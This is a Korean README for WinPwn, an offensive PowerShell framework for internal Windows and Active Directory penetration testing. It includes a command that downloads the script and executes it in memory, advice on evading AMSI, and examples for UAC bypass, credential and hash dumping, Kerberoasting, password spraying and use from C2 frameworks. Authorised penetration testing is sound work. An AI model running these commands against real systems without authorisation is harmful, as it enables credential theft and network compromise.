
내부 Windows 침투 테스트 / AD 보안을 위한 자동화
지난 많은 내부 침투 테스트에서 기존 Powershell 정찰/악용 스크립트가 프록시를 지원하지 않아 문제가 되는 경우가 많았습니다. 또한 동일한 스크립트를 연속으로 실행하여 현재 시스템 및/또는 도메인에 대한 정보를 얻곤 했습니다. 내부 침투 테스트 프로세스(정찰 및 악용)를 최대한 자동화하고 프록시 문제를 해결하기 위해 자동 프록시 인식 및 통합 기능을 갖춘 자체 스크립트를 작성했습니다. 이 스크립트는 주로 잘 알려진 다른 오펜시브 시큐리티 Powershell 프로젝트를 기반으로 합니다.
제안, 피드백, Pull request 및 의견은 언제나 환영합니다!
다음과 같이 모듈을 가져오기만 하면 됩니다:
Import-Module .\WinPwn.ps1 또는
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
AMSI를 우회하려면 기존 우회 기술 중 하나를 사용하고, AMSI 트리거를 찾은 다음 우회 함수에서 수동으로 변경하거나 트리거 문자열을 인코딩하세요. 또는 전체 스크립트를 난독화하세요.
인터넷에 연결되지 않은 Windows 시스템에 갇혀도 전혀 문제없습니다. Offline_Winpwn.ps1을 사용하세요. 가장 중요한 스크립트와 실행 파일이 포함되어 있습니다.
Import 후 사용 가능한 함수:
WinPwn -> 공격을 선택할 수 있는 메뉴:
Inveigh -> 새 콘솔 창에서 Inveigh 실행, 세션 관리(Invoke-TheHash)가 통합된 SMB-Relay 공격SessionGopher -> 매개변수를 묻는 SessionGopher 실행Kittielocal ->Localreconmodules ->매개변수 없이 대부분의 함수는 대화형 셸에서만 사용할 수 있습니다. 따라서 -noninteractive 및 -consoleoutput 매개변수를 추가하여 Empire, Covenant, Cobalt Strike 등과 같은 비동기 C2 프레임워크에서 스크립트를 사용할 수 있도록 했습니다.
또한 로컬 저장소에서 모든 기능을 갖춘 WinPwn을 사용할 수 있도록 -repo 매개변수가 추가되었습니다. 다음과 같이 사용할 수 있습니다:
사용법:
-noninteractive -> 함수에 대한 질문 없이 미리 정의되거나 사용자 정의된 매개변수로 실행
-consoleoutput -> loot/report 폴더가 생성되지 않음. 모든 함수가 콘솔에 출력을 반환하므로 C2 프레임워크의 에이전트 로그에서 모든 것을 확인할 수 있습니다.
예시:
WinPwn -noninteractive -consoleoutput -DomainRecon -> 모든 단일 도메인 정찰 스크립트와 함수를 실행하며
매우 많은 출력을 생성할 가능성이 높습니다.
WinPwn -noninteractive -consoleoutput -Localrecon -> 로컬 시스템에 대해 가능한 많은 정보를 열거합니다.
Generalrecon -noninteractive -> 기본 로컬 정찰 함수를 실행하고 출력을 해당 폴더에 저장합니다.
UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp -> 낮은 권한 세션에서 높은 무결성
프로세스로 스테이저 실행
Kittielocal -noninteractive -consoleoutput -browsercredentials -> Sharpweb을 통해 브라우저 자격 증명 덤프,
출력을 콘솔로 반환
Kittielocal -noninteractive -browsercredentials -> SAM 파일 NTLM 해시 덤프,
출력을 파일에 저장
WinPwn -PowerSharpPack -consoleoutput -noninteractive -> Seatbelt, PowerUp, Watson 등
C# 바이너리를 메모리에서 실행
Dotnetsearch -consoleoutput -noninteractive -> C:\Program Files\ 및 C:\Program Files (x86)\에서 .NET 어셈블리 검색
WinPwn -repo http://192.168.1.10:8000/WinPwn_Repo -> 로컬 웹 서버를 오프라인 저장소로 사용하여
인터넷 접속 없이 WinPwn 사용
Get_WinPwn_Repo.sh:
사용법: ./Get_WinPwn_Repo.sh {옵션}
예시: ./Get_WinPwn_Repo.sh --install
옵션: --install 저장소를 다운로드하여 ./WinPwn_Repo/에 배치 --remove ./WinPwn_Repo/ 저장소 제거 --reinstall 저장소를 제거하고 새 저장소를 ./WinPwn_Repo/에 다운로드 --start-server 포트 8000에서 Python HTTP 서버 시작 --help 이 도움말 표시
사전 상호 동의 없이 대상을 공격하기 위해 WinPwn을 사용하는 것은 불법입니다. 모든 관련 지역, 주 및 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 개발자는 어떠한 책임도 지지 않으며 이 프로그램의 오용이나 손해에 대해 책임을 지지 않습니다. 교육 목적으로만 사용하십시오.
DomainreconmodulesPrivescmoduleskernelexploits ->UACBypass ->SYSTEMShell ->Shareenumeration -> Invoke-Filefinder 및 Invoke-Sharefinder (Powerview / Powersploit)Domainshares -> 모든 도메인 시스템에서 Snaffler 또는 Passhunt 검색Groupsearch -> Get-DomainGPOUserLocalGroupMapping - 그룹 정책 매핑을 통해 관리자 액세스 또는 RDP 액세스 권한이 있는 시스템 찾기 (Powerview / Powersploit)Kerberoasting -> 새 창에서 Invoke-Kerberoast 실행하고 해시를 저장하여 나중에 크래킹PowerSQL -> SQL Server 검색, 현재 사용자로 액세스 확인, 기본 자격 증명 + UNCPath Injection 공격 감사Sharphound -> Bloodhound 3.0 보고서Adidnsmenu -> Active Directory 통합 DNS 노드 생성 또는 제거MS17-10 -> 도메인의 활성 Windows 서버 또는 모든 시스템에서 MS17-10(Eternalblue) 취약점 검사Sharpcradle -> 원격 웹 서버에서 C# 파일을 RAM으로 로드DomainPassSpray -> DomainPasswordSpray 공격, 모든 도메인 사용자에 대해 하나의 비밀번호Bluekeep -> 도메인 시스템용 Bluekeep 스캐너